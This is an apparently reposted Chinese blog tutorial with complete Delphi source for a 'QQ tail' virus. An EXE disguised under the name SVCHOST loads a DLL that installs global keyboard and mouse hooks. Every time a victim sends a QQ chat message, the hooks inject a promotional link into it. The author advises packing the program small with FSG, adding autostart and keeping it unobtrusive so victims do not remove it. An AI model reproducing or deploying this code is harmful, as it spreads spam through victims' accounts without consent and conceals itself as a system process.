delphi QQ尾巴病毒的编写


本文整理自网络,侵删。

 在网上看了许多关于QQ尾巴病毒的编写方法,全部都是教你如何用time控件不停的找QQ信息发送窗体句柄,然后模拟发送信息+点击发送按纽将信息发送出去. 

关于以上的有两个问题,一既然称之为病毒,那么它肯定要小.如果是用控件堆出来的东西,压缩后也有个100多K.二如果你的病毒防碍了人们正常使用QQ的话,我想这个病毒的存活率一定不会高.因为就算再怎么不懂计算机,你搞得他连QQ都玩不了,他还是会想尽办法弄死你的病毒的.不会杀的话重装机器总行了吧?

好了,说了那么多废话.现在正式开始.大家也一定知道了,这必须要用到钩子.下面是我写的QQ病毒的雏形,分为DLL钩子文件和EXE引导文件.大家只需把DLL文件做为资源打包进EXE文件,用的时候再释放出来就行了.大小嘛,用FSG压缩一下只有几KB而已.就算再加上自启动和其它一些必要功能,也只不过10来KB而已.

EXE文件源代码:

program SVCHOST; //呵呵,取这个名为了更像系统服务

uses Windows;

var Msg : tMsg;

procedure HookOn ; stdcall; external 'Help.dll'; //定义导出函数
procedure HookOff ; stdcall; external 'Help.dll'; //定义导出函数

begin
CreateMutex(nil, True,'fi7keQQwbdemo'); //创建互斥量
if (GetlastError() <> ERROR_ALREADY_EXISTS) then //如果创建失败的话,则退出,保持总只有一个实例在运行
begin
HookOn; //开钩
while GetMessage(Msg, 0, 0, 0) do ; //建立消息循环,让无窗体程序不至于退出
HookOff;
end else exit;
end.

DLL文件源代码:

library Help;

uses Windows, Messages;

{变量定义部分}
var
hmain,hramus, hramus1, hramus2: HWNd;
KeyHook: HHook;

{获取QQ信息输入窗体句柄}

function isQQ: thandle;
var
i: integer;
begin
for i := 0 to 30 do //强制循环30次找句柄,这个部分写得很烂,可以再优化,不过如今CPU这么强,没大影响了
begin
hmain := findwindowex(0, hmain, '#32770', nil);
hramus := findwindowEX(hmain, 0, '#32770', nil);
hramus1 := findwindowex(hramus, 0, 'AfxWnd42', nil);
hramus2 := findwindowex(hramus1, 0, 'RICHEDIT', nil);
if hramus2 <> 0 then
break;
end;
Result := hramus2;
end;


function isQQbutton: thandle; //取QQ发送按纽的句柄
var
qqbutton: HWND;
begin
qqbutton := findwindowex(hramus, 0, nil, '发送(S)');
Result := qqbutton;
end;


{键盘钩子回调函数}

function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
const
_KeyPressMask = $80000000;
begin
if ((lParam and _KeyPressMask) = 0) and (GetKeyState(vk_Control) < 0) and (wParam = 13) and (getfocus = isQQ) then
begin //拦截Ctrl+回车,自动追加自己设置的信息
SendMessage(isQQ, EM_ReplaceSel, 0, Integer(pchar(#13 + '欢迎光临我的Blog:http://www.mycode.ful.com')));
end;
if ((lParam and _KeyPressMask) = 0) and (GetKeyState(VK_MENU) < 0) and (wParam = 83) and (getfocus = isQQ) then
begin //拦截ALT+S,自动追加自己设置的信息
SendMessage(isQQ, EM_ReplaceSel, 0, Integer(pchar(#13 + '欢迎光临我的Blog:http://www.mycode.ful.com')));
end;
Result := CallNextHookEx(KeyHook, code, Wparam, lParam);
end;

//这里需要注意一下,因为QQ有意屏蔽wm_paste和WM_SETTEXT这两个消息,所以这里
我们必须要用EM_ReplaceSel消息.EM_ReplaceSel的意思是替换选中的字符,如果未
选中任何字符的话,自动追加到末尾.


{鼠标钩子回调函数}

function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
buffer: array[0..255] of char;
begin
if isQQ <> 0 then //如果找到QQ聊天窗体
begin
if wparam = $0201 then //截获鼠标按下消息
begin
if pMOUSEHOOKSTRUCT(lparam)^.hwnd = isQQButton then //截获鼠标点击发送按纽消息
begin
SendMessage(isQQ, EM_ReplaceSel, 0, Integer(pchar(#13 + '欢迎光临我的Blog:http://www.mycode.ful.com')));
end;
end;
Result := CallNextHookEx(MouseHook, iCode, wParam, lParam); //传递给下面的消息
end
else
Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;


procedure HookOn; //开钩
begin
KeyHook := SetWindowsHookEx(WH_KEYBOARD, @HookKey, HInstance, 0);
MouseHook := SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
end;


procedure HookOff; //脱钩
begin
UnHookWindowsHookEx(KeyHook);
UnHookWindowsHookEx(MouseHook);
end;


exports //定义导出函数
HookOn, HookOff;

begin
end.

相关阅读 >>

Delphi xe8 中tidtcpclient的writeln编码变化

Delphi 调用api.ocr.space的ocr接口

Delphi 读取dll所有输出函数名

Delphi程序的exe和dll文件添加版本信息

Delphi 的按位运算详解

Delphi研究之驱动开发篇(七)--利用共享内存与用户模式

Delphi ttabcontrol

Delphi xe6通过wifiapi得到wifi信息

Delphi dbgrid支持鼠标滚轮浏览数据

Delphi窗体置顶

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...